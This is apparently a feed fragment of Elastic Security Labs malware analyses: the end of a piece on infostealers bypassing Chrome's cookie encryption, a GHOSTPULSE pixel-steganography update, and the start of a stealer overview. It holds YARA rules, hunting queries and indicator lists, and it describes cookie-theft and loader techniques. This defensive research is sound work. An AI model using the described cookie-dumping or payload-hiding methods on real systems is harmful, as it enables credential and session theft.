<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltddfe05fc044aa5db/6a7c88f2e02fac81655d0601/image3.png" alt="Dump of &lt;code&gt;CreateProcessW lpApplicationName&lt;/code&gt; parameter" title="Dump of &lt;code&gt;CreateProcessW lpApplicationName&lt;/code&gt; parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2ed1a722b42f9d87/6a7c88f4e02fac54535d0605/image7.png" alt="LUMMA seeks &lt;code&gt;chrome.dll&lt;/code&gt; in Chrome" title="LUMMA seeks &lt;code&gt;chrome.dll&lt;/code&gt; in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4fa8ab35607699ff/6a7c88f7e02fac0c345d0609/image36.png" alt="Lumma’s pattern scanning" title="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta49b7d0c9216fd6a/6a7c88fa3ce8e2ad26cef7ff/image25.png" alt="Lumma pattern match on &lt;code&gt;CookieMonster&lt;/code&gt;" title="Lumma pattern match on &lt;code&gt;CookieMonster&lt;/code&gt;" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4327bca49b0bc326/6a7c88fde3a2190906999811/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" title="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteee51ccf362d1066/6a7c88ff7cfd7a6a4a314e20/image12.png" alt="Received stolen cookies on the C2 side" title="Received stolen cookies on the C2 side" /></p>
<h2 id="detection">Detection</h2>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers: </p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors: </p>
<h3 id="cookiesaccessbyanunusualprocess">Cookies access by an unusual process</h3>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code>FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5ad22692adb54756/6a7c8902bd2198c92c752377/image22.png" alt="ES|QL query results for suspicious browser cookies file access" title="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query: </p>
<pre><code>sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb42f80a929ff5f3a/6a7c8906448e4ebbfb5bac9b/image4.png" alt="EQL query results for suspicious browser termination" title="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7fa04e63604f589e/6a7c89095967e5cb835d761f/image9.png" alt="Google Chrome Elevation COM registry access" title="Google Chrome Elevation COM registry access" /></p>
<pre><code>FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below is an example of matches on the METASTEALER malware while calling <code>CoCreateInstance (CLSID_Elevator)</code>: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4993f338930af0fb/6a7c890c437e0f155fdd56e1/image39.png" alt="ES|QL query results for suspicious access to chrome elevation service registry" title="ES|QL query results for suspicious access to chrome elevation service registry" /></p>
<p>The <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">PHEMEDRONE</a> stealer uses the <a href="https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e">known</a> browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port <code>9222</code>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt61f464c453622aba/6a7c890f33fa8a7dda1fca52/image33.png" alt="PHEMEDRONE - network connection to chrome over port &lt;code&gt;9222&lt;/code&gt;" title="PHEMEDRONE - network connection to chrome over port &lt;code&gt;9222&lt;/code&gt;" /></p>
<p>The following EQL query can be used to look for unusual processes performing similar behavior: </p>
<pre><code>sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt82509e1d7053324a/6a7c8912c2cc0911fa2434ab/image1.png" alt="EQL query results for browser debugging activity" title="EQL query results for browser debugging activity" /></p>
<h3 id="chromebrowserspawnedfromanunusualparent">Chrome Browser Spawned from an Unusual Parent</h3>
<p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents: </p>
<pre><code>FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7011246c04f7db8a/6a7c8916de23152eeafd1f0c/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" title="ES|QL query results for chrome browser spawned from an unusual parent" /></p>
<h3 id="untrustedbinariesfromchromeapplicationfolder">Untrusted Binaries from Chrome Application folder</h3>
<p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there: </p>
<h4 id="unsigneddllsloadedfromgooglechromeapplicationfolder">Unsigned DLLs loaded from google chrome application folder</h4>
<pre><code>FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<h4 id="unsignedexecutablelaunchedfromgooglechromeapplicationfolder">Unsigned executable launched from google chrome application folder</h4>
<pre><code>FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions &lt;= 10
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltca582b5beadee6b0/6a7c89195967e56cbf5d7623/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" title="ES|QL query results for malicious DLL loaded by Chrome" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data. </p>
<p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.  </p>
<h2 id="stealerbypassesandmitreattck">Stealer Bypasses and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li>
</ul>
<h2 id="yara">YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. </p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
|-----|-----|-----|-----|
| 27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d | SHA-256 | num.exe | STEALC |
| 08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37 | SHA-256 | HardCoreCrack.exe | PHEMEDRONE |
| 43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d | SHA-256 | Ranginess.exe | METASTEALER |
| 84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176 | SHA-256 | | LUMMA |
| b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b | SHA-256 | XenoStealer.exe | XENOSTEALER |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li>
<li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/katz-and-mouse-game</link>
    <guid isPermaLink="false">katz-and-mouse-game</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Jia Yu Chan,Salim Bitam,Daniel Stepanic,Samir Bousseaden,Cyril François,Seth Goodwin]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4e72de6373ef872e/6a7c891c437e0f0102dd56e5/Security_Labs_Images_2.jpg" length="0" type="image/jpeg"/>
    <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Tricks and Treats: GHOSTPULSE’s new pixel-level deception]]></title>
    <description><![CDATA[The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.]]></description>
    <content:encoded><![CDATA[<h2 id="update">Update</h2>
<p>This research covers an update to stage 2 of GHOSTPULSE, <a href="https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks#stage-2">originally disclosed</a> by Elastic Security Labs in October 2023.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ol>
<li>GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.</li>
<li>Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.</li>
<li>Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.</li>
</ol>
<h2 id="preamble">Preamble</h2>
<p>The GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.</p>
<p>In its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a <a href="https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">previous article from Elastic Security Labs</a>. However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.</p>
<p>In this research publication, we’ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.</p>
<h2 id="introduction">Introduction</h2>
<p>Recently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by <a href="https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/">HarfangLab</a>. These campaigns stand out due to their <a href="https://www.secureworks.com/blog/fake-human-verification-prompt-delivers-infostealers">creative social engineering tactics</a>. Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5fcf6791e33e5631/6a7c9723bd2198c66a752728/image1.png" alt="Social engineer lure website" title="Lure website" /></p>
<p>In previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.</p>
<p>However, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file—a benign but compromised executable that includes the PNG file within its resources section.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt459b920f6a8510da/6a7c9726e88c651c15005cd5/image2.png" alt="Large embedded PNG file in the resources section" title="Large embedded PNG file in the resources section" /></p>
<h2 id="technicalanalysis">Technical analysis</h2>
<p>The updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.</p>
<p>The following is a screenshot showing the pseudocode of both implementations:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt00fe382c6bc13b16/6a7c972942a11763b695659f/image4.png" alt="Pseudocode code comparison between old and new algorithm" title="Pseudocode code comparison between old and new algorithm" /></p>
<p>In earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware’s parsing process was straightforward: it would search for a specific marker within the file—in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.</p>
<p>In the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's <code>RED</code>, <code>GREEN</code>, and <code>BLUE</code> (RGB) values sequentially using standard Windows APIs from the <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GdiPlus(GDI+)</a> library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.</p>
<p>The following diagram provides a visual breakdown of this process:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt274691ddbc3c029f/6a7c972c73d9bdc0c32980c4/image5.png" alt="" /></p>
<h2 id="updatedconfigurationextractor">Updated configuration extractor</h2>
<p>Based on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt38db9fec66ad48dd/6a7c972fe3a2195344999be4/image3.png" alt="" /></p>
<h2 id="detectingghostpulsewithyara">Detecting GHOSTPULSE with YARA</h2>
<p>The original <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">GHOSTPULSE YARA</a> rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.</p>
<p>Elastic Security has updated the GHOSTPULSE YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_GHOSTPULSE_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-10-15"
        last_modified = "2024-10-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "GHOSTPULSE"
        threat_name = "Windows.Trojan.GHOSTPULSE"
        license = "Elastic License v2"

    strings:
        $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 }
        $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 }

    condition:
        any of them
}

rule Windows_Trojan_GHOSTPULSE_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-10-10"
        last_modified = "2024-10-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "GHOSTPULSE"
        threat_name = "Windows.Trojan.GHOSTPULSE"
        license = "Elastic License v2"

    strings:
        $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C }

    condition:
        all of them
}
</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>In summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.</p>
<p>As attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.</p>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type        | Name            | Reference                                |
|------------------------------------------------------------------|-------------|-----------------|------------------------------------------|
| <code>57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077</code> | SHA-256     | <code>Setup.exe</code>       | GHOSTPULSE sample                        |
| <code>b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae</code> | SHA-256     | <code>Setup_light.exe</code> | GHOSTPULSE sample                        |
| <code>winrar01.b-cdn[.]net</code>                                            | domain-name |                 | Infrastructure hosting GHOSTPULSE sample |
| <code>reinforcenh[.]shop</code>                                               | domain-name |                 | LUMMASTEALER C2                          |
| <code>stogeneratmns[.]shop</code>                                             | domain-name |                 | LUMMASTEALER C2                          |
| <code>fragnantbui[.]shop</code>                                               | domain-name |                 | LUMMASTEALER C2                          |
| <code>drawzhotdog[.]shop</code>                                               | domain-name |                 | LUMMASTEALER C2                          |
| <code>vozmeatillu[.]shop</code>                                               | domain-name |                 | LUMMASTEALER C2                          |
| <code>offensivedzvju[.]shop</code>                                            | domain-name |                 | LUMMASTEALER C2                          |
| <code>ghostreedmnu[.]shop</code>                                              | domain-name |                 | LUMMASTEALER C2                          |
| <code>gutterydhowi[.]shop</code>                                              | domain-name |                 | LUMMASTEALER C2                          |
| <code>riderratttinow[.]shop</code>                                            | domain-name |                 | LUMMASTEALER C2                          |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/tricks-and-treats</link>
    <guid isPermaLink="false">tricks-and-treats</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2254f467f5de85e8/6a7c9732de2315e9e5fd224d/tricks-and-treats.jpg" length="0" type="image/jpeg"/>
    <pubDate>Sat, 19 Oct 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Globally distributed stealers]]></title>
    <description><![CDATA[This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.</p>
<p>Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.</p>
<h2 id="telemetryoverview">Telemetry overview</h2>
<p>The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.</p>
<p>Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.</p>
<p>In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt697897f46f6ee469/6a7c863e448e4e06af5bac2b/image6.png" alt="Telemetry data May 2023 - May 2024" title="Telemetry data May 2023 - May 2024" />
Elastic telemetry data May 2023 - May 2024</p>
<p>Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.</p>
<p>A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt785af860da140e25/6a7c8641b43770842d4d10c0/image5.png" alt="METASTEALER triggering REDLINE signatures" title="METASTEALER triggering REDLINE signatures" /></p>
<h2 id="topstealersoverview">Top stealers overview</h2>
<h3 id="redlineredlinestealer">REDLINE (REDLINE STEALER)</h3>
